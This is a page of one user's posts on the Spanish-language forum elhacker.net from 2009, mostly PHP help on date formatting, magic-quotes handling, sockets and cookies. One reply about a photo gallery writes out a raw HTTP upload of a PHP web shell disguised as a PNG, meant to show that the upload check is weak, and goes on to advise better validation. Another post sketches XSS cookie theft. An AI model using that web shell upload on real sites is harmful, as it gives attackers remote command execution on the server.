elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Mensajes
Páginas: 1 ... 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 [383] 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 ... 456
3821  Programación / PHP / Re: Funcion para cambio de formato de fecha (d/m/Y a Y/m/d) - ( Y/m/d a d/m/Y) en: 24 Agosto 2009, 05:46 am
también está strtotime() para pasar de string a formato unix y date() para pasar de formato unix a texto.
Código
  1. <?php
  2. echo htmlspecialchars(cambia('10 September 2000', 'Y/m/d'), ENT_QUOTES);
  3.  
  4. function cambia($fecha, $formato){
  5. return date($formato, strtotime($fecha));
  6. }
  7. ?>
3822  Programación / PHP / Re: Pequeños trucos en PHP en: 24 Agosto 2009, 05:33 am
más corto:
Código
  1. <?php
  2. $_GET = stripslashses_gpc($_GET);
  3. $_POST = stripslashses_gpc($_POST);
  4. $_COOKIE = stripslashses_gpc($_COOKIE);
  5. $_SERVER = stripslashses_gpc($_SERVER);
  6.  
  7. function stripslashses_gpc($buffer){
  8. if(!function_exists('get_magic_quotes_gpc'))
  9.  return $buffer;
  10.  if(is_array($buffer)){
  11.   foreach($buffer as $variable => $valor){
  12.    $temp[$variable] = stripslashses_gpc($valor);
  13.   }
  14.   return $temp;
  15.  }else{
  16.   return stripslashes($buffer);
  17.  }
  18. }else{
  19.  return $buffer;
  20. }
  21. }
  22. ?>

Y con array_map() es más corto.
3823  Programación / PHP / Re: Referer para protección de páginas o no? en: 24 Agosto 2009, 05:22 am
se puede spoofear y no sirve ni como medida de protección secundaria ni tercera ni ultima ya que no puedes dar un tipo de protección que sabes que puede ser falseado. Si el sistema tiene xss también puede obtenerse la referencia desde javascript y enviar cada dato al atacante asi que mejor te recomiendo a lo mortal... user y pass.
3824  Programación / PHP / Re: galeria de fotos, comprobar tipo de imagen en: 24 Agosto 2009, 05:17 am
con eso yo fácilmente podría subirle un php y hacer código de ejecución remota:

Citar
telnet web.com 80
POST /test.php HTTP/1.1
Host: web.com
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15890672924370
Content-Length: 251

-----------------------------15890672924370
Content-Disposition: form-data; name="archivo"; filename="shell.php"
Content-Type: image/png

<?php echo nl2br(htmlspecialchars(system($_COOKIE['eval']), ENT_QUOTES)); ?><br /><?php phpinfo(); ?>

y si le pongo comillas al título y demás puedo causar una inyección sql.

Mejor verifica extensiones basados en strpos tomando los ultimos tres o cuatro carácteres segín la extensión a comparar y devuelves true o false si es permitido o no y asegurate siempre de utilizar mysq escape real string para evitar las inyecciones. Si quieres algo mas avanzado y evitar que se ejecuten via LFI aunque sean subidas con extensión jpg utiliza gd.
3825  Programación / PHP / Re: sockets en: 24 Agosto 2009, 05:03 am
Código
  1. <?php
  2. $buffer = 'GET / HTTP/1.1
  3. Host: foro.elhacker.net
  4. Connection: close
  5. User-Agent: agente de usuario 0.00001 beta alpha rc (huevo)
  6. Referer: www.coolmod.com
  7.  
  8. ';
  9.  
  10. if(!$handle = fsockopen('foro.elhacker.net', 80))
  11. die('El servidor no responde!');
  12. if(!fwrite($handle, $buffer))
  13. die('Error en el servidor!');
  14. unset($buffer);
  15. while(!feof($handle)){
  16. $buffer .= fgets($handle, 128);
  17. }
  18. fclose($handle);
  19. if(!$buffer)
  20. die('El servidor no responde!');
  21.  
  22. if(is_array($cookies = desde_hasta('Set-Cookie: ', ';', $buffer, false, true))){
  23. foreach($cookies as $numero => $cookie){
  24.  if(eregi('phpsessid=', $cookie)){
  25.   $phpsessid = $cookie.'; ';
  26.  }else{
  27.   $retorno .= $cookie.'; ';
  28.  }
  29.  unset($cookie); unset($numero);
  30. }
  31. unset($cookies);
  32. echo htmlspecialchars('Cookies: '.$retorno.$phpsessid, ENT_QUOTES);
  33. }else{
  34. die('Imposible obtener los datos!');
  35. }
  36.  
  37. function desde_hasta($desde, $hasta, $contenido, $cantidad = false, $retornar_todo = false){
  38. if(eregi($desde ,$contenido)){
  39.  $retorno = explode($desde, $contenido);
  40.  foreach($retorno as $compara){
  41.   $compara = explode($hasta, $compara);
  42.   if($compara = $compara[0])
  43.    $retorna[] = $compara;
  44.   unset($compara);
  45.  }
  46.  if($retornar_todo){
  47.   unset($retorna[0]);
  48.   return $retorna;
  49.  }
  50.  if(is_numeric($cantidad)){
  51.   $retorno = $retorna[$cantidad];
  52.  }else{
  53.   $retorno = $retorna[1];
  54.  }
  55.  return $retorno;
  56. }else{
  57.  return false;
  58. }
  59. }
  60. ?>
3826  Programación / PHP / Re: Seguridad contra CSRF en: 24 Agosto 2009, 04:43 am
cual comentario?
3827  Seguridad Informática / Nivel Web / Re: Necesito ayuda con inyeccion por PHP en: 23 Agosto 2009, 03:17 am
Hola, sip eso es xss.
lo que puedes lograr hacer es obtener la cookie de alguien pero necesiatrías que alguien viera un link y que ese alguien esté logueado en algún sistema de administración o algo.
Busca acá:
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_10809-t244090.0.html
hay buenos tutos sobre XSS.
Si tienes duda sobre alguno nos cuentas.
3828  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Que pasó en el foro ? en: 21 Agosto 2009, 12:46 pm
esque sabe poco, si supiera mucho sería be larga
3829  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Que pasó en el foro ? en: 21 Agosto 2009, 05:11 am
si fuera 17 de septiembre sabría quien es xD pero no jaja
3830  Foros Generales / Sugerencias y dudas sobre el Foro / que me debuelvan el puntaje! en: 21 Agosto 2009, 02:46 am
no puede serr!!!!!

ya encontraba extraño que me dieran a adivinar una palabra de un solo carácter y me sale con undefined como respuesta >:(

quiero mi puntaje devueltaaaaaaa!!!!
Páginas: 1 ... 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 [383] 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 ... 456
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines